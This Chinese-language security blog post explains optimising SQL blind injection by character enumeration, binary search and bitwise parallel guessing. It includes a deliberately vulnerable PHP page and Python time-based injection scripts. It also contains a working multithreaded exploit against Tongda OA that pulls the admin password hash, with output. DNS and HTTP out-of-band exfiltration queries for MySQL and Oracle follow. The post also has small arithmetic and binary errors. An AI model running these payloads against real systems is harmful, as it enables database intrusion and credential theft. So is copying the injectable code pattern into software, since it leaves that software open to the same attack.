【SQL注入】盲注优化

SQL注入之盲注优化技术

示例:典型时间型盲注示例代码:

<?php
    header('content-type:text/html;charset=utf-8');
    @$id=$_GET['id'];  //传参
    if(!isset($id)){
        die('请传入GET方法id参数值');
    }
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','root');
    if($mysqli->connect_errno){
        die('连接数据库失败:'.$mysqli->connect_error);
    }
    $mysqli->select_db('user');
    if($mysqli->errno){
        die('打开数据库失败:'.$mysqli->error);
    }
    $mysqli->set_charset('utf8');
    $sql="SELECT username,passwd FROM users WHERE id={$id} limit 0,1"; 
    $result=$mysqli->query($sql);
    if(!$result){ #无论什么情况都输入一种情况:hello mysql
        echo 'hello mysql';
    }else if($result->num_rows==0){
        echo 'hello mysql';
    }else {
        echo 'hello mysql';
    }

一、盲注猜解技术

  • 布尔型盲注
  • 时间型盲注

在平时遇到盲注时,我们通常会使用字符遍历法或二分查找法进行猜解,二分查找法也是sqlmap工具默认的盲注猜解方法;当然在布尔型盲注时用二分查找法也是比较快的,但是当遇到时间型盲注时,二分查找法就显得那么无能为力了。

sqlmap盲注默认采用的是二分查找法:适用于全部数据库
在这里插入图片描述

其实盲注猜解技术不止字符遍历法、二分查找法,下面给大家讲解已知盲注猜解技术:

1、普通字符加正则表达式联合优化猜解

最原始的直接猜测:字符遍历法
x = 'a'
x = 'b'
x = 'c'
......
这种效率肯定不高,光英文加数字最多要猜解:26+10=36次,但是如果第一个字符就是'a'那么只需要一次即可,所以这个靠运气。

如:之前的通达OA注入就是采用此方法:
通达OA注入

使用正则表达式缩小采解范围:
x LIKE ['a-f']
x LIKE [^'a-f']
这时再加上直接猜测进行范围缩小
正则表达式在某些场景很有用。

2、二分查找算法

二分搜索算法(分半\折半算法)主要用于推断单个字节的值,不需要搜索整张字母表,通过不断拆分平均值来缩小查找范围。

任何ASCII字符都可以用1字节或8位表示,也称为八位字节,并非所有字符在数据库中都是有效的或允许的,所以我们只关注ASCII范围32 - 126的可见字符,它给我们留下了一组94个字符。这其中是包含特殊符号在内的可见字符,如果知道要猜解的数据不包含特殊字符,还可以缩减范围成:48-57、65-90、97-122

在这里插入图片描述

例:使用二分搜索法猜解字符'f'=>ASCII数字为102
x > 64    1
x > 128    0     
x > 96    1
x > 112    0
x > 104    0
x > 100    1
x > 102    0
x > 101    1
x > 101 and x < 102 所以 x = 102
可以看到,使用二分搜索法需要8次猜解才能确定字符,这里x > 128 可以去掉,因为大于128了就不是可见字符,所以使用二分搜索法猜解至少需要7次,还不算是否判断字符结束x=0

所以,二分搜索法有个明显的缺点,那就是猜测每一位字符需要发送7次请求,每次发送的请求需要上一次请求返回结果判断才能继续发送,也就是说只有发送了第一次请求,且返回了结果,在进行结果判断,然后在发送第二次请求…,这种每次需要等待上一次结果返回,花费的时间较长。

1次请求延迟5秒,至少有4次是正确的吧,那就是4*5=20s,在加上不延迟的请求也需要时间返回吧,一次算1s吧,那就是20s+4s=24s,当然这里只是延迟5s,有些网页本身返回延迟慢,则需要加大此数。

3、按位方法

用按位方法法不需要像二分搜索法那样只能单次单次发送,可以并行同时发送7次请求,使得能快速得到一位值。

位操作法使用位操作符 & 实现
例:猜解字符 'g'=>ASCII码103
select 103 & 128;    结果为 0 =》0
select 103 & 64;    结果为 64=》1
select 103 & 32;    结果为 32=》1
select 103 & 16;    结果为 0=》0
select 103 & 8;    结果为 0=》0
select 103 & 4;    结果为 4=》1
select 103 & 2;    结果为 2=》1
select 103 & 1;    结果为 1=》1
结果非0的都为1,那么集合起来就是 01100111,转换到十进制为103,而ascii码表113对应字符'g'
这种方法也是需要7次请求,但是不需要像二分搜索法那样需要等待上一次请求结果进行判断,也就是说二分搜索法只能单线程,而位操作法可以并发多线程。时间大大的节约。

原理很简单:就是把字符转化成二进制,逐位判断
128二进制   10000000
64二进制    01000000
32二进制    00100000
16二进制   00010000
8二进制     00001000
4二进制    00000110
2二进制    00000010
1二进制    00000001

思考:

那么为什么sqlmap不使用此方法进行呢?留给大家思考!

实验

以上面的时间型盲注代码为例:

1、最原始的方法:字符遍历法
import requests,time

a = time.time()
url = "http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))={_},sleep(8),0)%23" #猜对延迟8s响应
for i in range(32,126):  #ASCII码可见字符范围
    payload = url.format(_ = i)
    print(payload)
    startTime = time.time()
    re = requests.get(payload)
    if time.time() - startTime > 8:
        value = chr(i)
        print("猜解正确:" + value + "\n")
        b = time.time() - a
        print("猜解一个字符花费:" + str(b))
        break

花费 104.56624603271484秒猜解正确:单线程

......
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=111,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=112,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=113,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=114,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=115,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=116,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=117,sleep(8),0)%23
猜解正确:u
猜解一个字符花费:104.56624603271484
2、使用二分查找法

二分查找法需要等待上一次结果返回进行判断,所以只能单线程使用

import requests,time

a = time.time()
url = "http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>{_},sleep(8),0)%23" #猜对延迟8s响应
min = 32 # 起始ASCII码
max = 126 # 结束ASCII码
while abs(max - min) > 1:
    mid = (max + min)//2 # 取中间数进行猜解
    payload = url.format(_=mid)
    startTime = time.time()
    print(payload)
    re = requests.get(payload)
    if time.time() - startTime > 8:
        min = mid
    else:
        max = mid
print("猜解完成:" + chr(max))
b = time.time() - a
print("猜解一个字符花费:" + str(b))

花费 47.50586557388306秒猜解正确:只能单线程

http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>79,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>102,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>114,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>120,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>117,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>115,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>116,sleep(8),0)%23
猜解完成:u
猜解一个字符花费:47.50586557388306
3、使用按位方法

按位方法可以不用等待上一次结果返回在做操作, 所以可以使用多线程并发,但是要注意取线程的返回数据要按照顺序来

import threading
import requests,time

class MyThread(threading.Thread): # 创建MyThread对象,可获取每个线程的返回值,不然会混乱
    def __init__(self, func, args):
        threading.Thread.__init__(self)
        self.func = func
        self.args = args
    def getresult(self):
        return self.res
    def run(self):
        self.res = self.func(*self.args)

def sql_injection(i):
    asci = 2**i
    url = "http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 {_},sleep(8),0)%23"
    payload = url.format(_=asci)
    startTime = time.time()
    print(payload + "\n")
    re = requests.get(payload)
    if time.time() - startTime > 8:
        return '1'
    return '0'

def main():
    a = time.time()
    threads = []
    sum = ''
    for i in range(0,8):
        t = MyThread(sql_injection,(i,))
        threads.append(t)
    for i in range(0,8):
        threads[i].start()
    for i in range(0,8):
        threads[i].join()
        sum = sum + threads[i].getresult()
    sum = sum[::-1] #这里要把二进制反转,因为首先是从128开始判断的
    print('二进制字符串:' + sum)
    value = chr(int(str(int(sum,2)))) #将二进制字符串转换为十进制取对应的ASCII码值
    print(value)
    b = time.time() - a
    print("猜解一个字符花费:" + str(b))
if __name__ == '__main__':
    main()

http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 1,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 2,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 4,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 8,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 32,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 16,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 128,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 64,sleep(8),0)%23

二进制字符串:01110101
u
猜解一个字符花费:9.129600286483765
>>> 
可看到因为使用线程并发操作,所以只需要延迟一个请求时间即可。效率大大提高。

通达OA注入优化

使用按位操作法进行盲注注入

import threading
import requests,time

class MyThread(threading.Thread): 
    def __init__(self, func, args):
        threading.Thread.__init__(self)
        self.func = func
        self.args = args
    def getresult(self):
        return self.res
    def run(self):
        self.res = self.func(*self.args)

def sql_injection(i,n): # i为位操作符,n为substr位数
    asci = 2**i
    url = "http://192.168.247.131/general/document/index.php/send/approve/finish"
    payload = "1) and char(@`'`)  union select if(ord(mid(PASSWORD,%d,1)) & %d,sleep(8),1),1 from user WHERE BYNAME = 0x61646d696e #and char(@`'`)" % (n,asci)
    exp_data = {
        'sid' : payload
    }
    cookies = {
        '_SERVER' : ''
    }
    try:
        res = requests.post(url, data=exp_data, cookies=cookies, timeout=6)
    except:
            return '1'
    else:
            return '0'
                

def main():
    a = time.time()
    charvalue = ''
    for j in range(1,35):
        threads = []
        sum = ''
        for i in range(0,8):
            t = MyThread(sql_injection,(i,j))
            threads.append(t)
        for i in range(0,8):
            threads[i].start()
        for i in range(0,8):
            threads[i].join()
            sum = sum + threads[i].getresult()
        sum = sum[::-1] 
        print('二进制字符串:' + sum)
        value = chr(int(str(int(sum,2))))
        print(value)
        charvalue = charvalue + value
        print("密码为:" + charvalue)
    b = time.time() - a
    print("猜解完花费:" + str(b))
    print("密码为:" + charvalue)
if __name__ == '__main__':
    main()

演示效果:

......
8
密码为:$1$uo..o3..$amdS8
二进制字符串:00110101
5
密码为:$1$uo..o3..$amdS85
二进制字符串:01010001
Q
密码为:$1$uo..o3..$amdS85Q
二进制字符串:01010110
V
密码为:$1$uo..o3..$amdS85QV
二进制字符串:00110001
1
密码为:$1$uo..o3..$amdS85QV1
二进制字符串:01001111
O
密码为:$1$uo..o3..$amdS85QV1O
二进制字符串:01011010
Z
密码为:$1$uo..o3..$amdS85QV1OZ
二进制字符串:01000101
E
密码为:$1$uo..o3..$amdS85QV1OZE
二进制字符串:01010010
R
密码为:$1$uo..o3..$amdS85QV1OZER
二进制字符串:01001101
M
密码为:$1$uo..o3..$amdS85QV1OZERM
二进制字符串:01010100
T
密码为:$1$uo..o3..$amdS85QV1OZERMT

带外通信技术

进行SQL盲注漏洞时,使用第二类方法是借助非主流通道。区别在于前面的推断技术依靠的是页面发送的响应来判断,而非主流通道技术使用的是传输通道而非页面响应,传输通道包括DNS、E-MAIL、HTTP请求。这样的好处是可以一次检索多块数据,而不是通过推断单个字节的值。

现在企业防火墙或安全设备一般不会对DNS请求进行拦截检测,所以目前很多都是用NDS隧道进行隐蔽控制。

#mysql发送DNS请求:
SELECT LOAD_FILE(CONCAT('\\\\',( SELECT DATABASE() ),'.xx.xx\\x));

#Oracle发送DNS请求和HTTP请求:
SELECT UTL_INADDR.get_host_name('192.168.1.1') FROM dual;
select utl_http.request('http://192.168.0.102/'||(SELECT user FROM dual)) from dual;

可借助网络上已有平台,如:ceye.io、T00ls DNSLOGd等:
在这里插入图片描述

或者自己搭建NDS和HTTP平台:

  • 简单的自己写个python脚本监控UDP协议53端口的DNS记录,搭建个web服务器分析HTTP访问记录
    在这里插入图片描述
    演示效果:
    在这里插入图片描述
  • 或者采用一些开源项目,如:https://github.com/LandGrey/dnstricker
    在这里插入图片描述
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值